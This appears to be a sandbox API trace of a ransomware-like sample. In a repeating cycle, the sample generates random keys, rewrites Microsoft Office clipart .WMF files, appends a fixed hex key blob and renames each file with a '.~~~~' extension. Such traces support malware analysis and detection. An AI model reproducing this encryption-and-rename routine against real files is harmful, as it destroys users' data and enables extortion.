	[0110.554] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.554] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.554] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.554] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.554] CloseHandle (hObject=0x140) returned 1
	[0110.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf.~~~~")) returned 1
	[0110.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.555] GetLastError () returned 0x0
	[0110.559] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.560] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.560] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23055049691) returned 1
	[0110.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab81e9d0, dwHighDateTime=0x1d60e1e)) 
	[0110.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809130
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809130 | out: hHeap=0x300000) returned 1
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0110.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.561] GetLastError () returned 0x0
	[0110.562] GetLastError () returned 0x0
	[0110.562] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.562] GetLastError () returned 0x0
	[0110.562] GetLastError () returned 0x0
	[0110.565] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffd752, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.566] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x28ae, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x28ae, lpOverlapped=0x0) returned 1
	[0110.567] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.567] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.567] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.567] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.567] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.567] CloseHandle (hObject=0x140) returned 1
	[0110.568] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.568] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf.~~~~")) returned 1
	[0110.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.569] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.569] GetLastError () returned 0x0
	[0110.569] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.570] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.570] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23056053054) returned 1
	[0110.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab844b30, dwHighDateTime=0x1d60e1e)) 
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809168
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809168 | out: hHeap=0x300000) returned 1
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c5e8
	[0110.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.571] GetLastError () returned 0x0
	[0110.571] GetLastError () returned 0x0
	[0110.572] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.572] GetLastError () returned 0x0
	[0110.572] GetLastError () returned 0x0
	[0110.574] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffcb64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.574] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0x349c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0x349c, lpOverlapped=0x0) returned 1
	[0110.575] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.575] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.575] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.575] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.575] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.576] CloseHandle (hObject=0x140) returned 1
	[0110.576] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.576] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01474_.wmf.~~~~")) returned 1
	[0110.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.577] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.577] GetLastError () returned 0x0
	[0110.577] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.578] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.578] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.578] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.578] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.579] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23056871307) returned 1
	[0110.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xab844b30, dwHighDateTime=0x1d60e1e)) 
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28091a0
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28091a0 | out: hHeap=0x300000) returned 1
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.579] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c680
	[0110.579] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.579] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.579] GetLastError () returned 0x0
	[0110.580] GetLastError () returned 0x0
	[0110.580] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.580] GetLastError () returned 0x0
	[0110.580] GetLastError () returned 0x0
	[0110.681] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff320, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.681] WriteFile (in: hFile=0x140, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xce0, lpOverlapped=0x0) returned 1
	[0110.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.715] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.715] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.715] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.715] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.715] CloseHandle (hObject=0x140) returned 1
	[0110.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.715] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01627_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01627_.wmf.~~~~")) returned 1
	[0110.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0110.772] GetLastError () returned 0x0
	[0110.789] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.791] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.791] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23078109475) returned 1
	[0110.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaba59e70, dwHighDateTime=0x1d60e1e)) 
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x29b9b58
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b9b58 | out: hHeap=0x300000) returned 1
	[0110.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c718
	[0110.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.792] GetLastError () returned 0x0
	[0110.792] GetLastError () returned 0x0
	[0110.792] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.792] GetLastError () returned 0x0
	[0110.793] GetLastError () returned 0x0
	[0110.796] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff38c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.796] WriteFile (in: hFile=0x13c, lpBuffer=0x29c8090*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c8090*, lpNumberOfBytesWritten=0x24dfec0*=0xc74, lpOverlapped=0x0) returned 1
	[0110.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c8090 | out: hHeap=0x300000) returned 1
	[0110.798] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.798] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.798] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.798] CloseHandle (hObject=0x13c) returned 1
	[0110.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c4980
	[0110.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.~~~~")) returned 1
	[0110.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4980 | out: hHeap=0x300000) returned 1
	[0110.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0110.799] GetLastError () returned 0x0
	[0110.800] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0110.801] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.801] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0110.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0110.801] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23079159222) returned 1
	[0110.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaba7ffd0, dwHighDateTime=0x1d60e1e)) 
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f060
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f060 | out: hHeap=0x300000) returned 1
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c4980
	[0110.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d5f0
	[0110.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c4980 | out: hHeap=0x300000) returned 1
	[0110.802] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0110.803] GetLastError () returned 0x0
	[0110.803] GetLastError () returned 0x0
	[0110.803] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0110.803] GetLastError () returned 0x0
	[0110.803] GetLastError () returned 0x0
	[0110.806] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff314, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
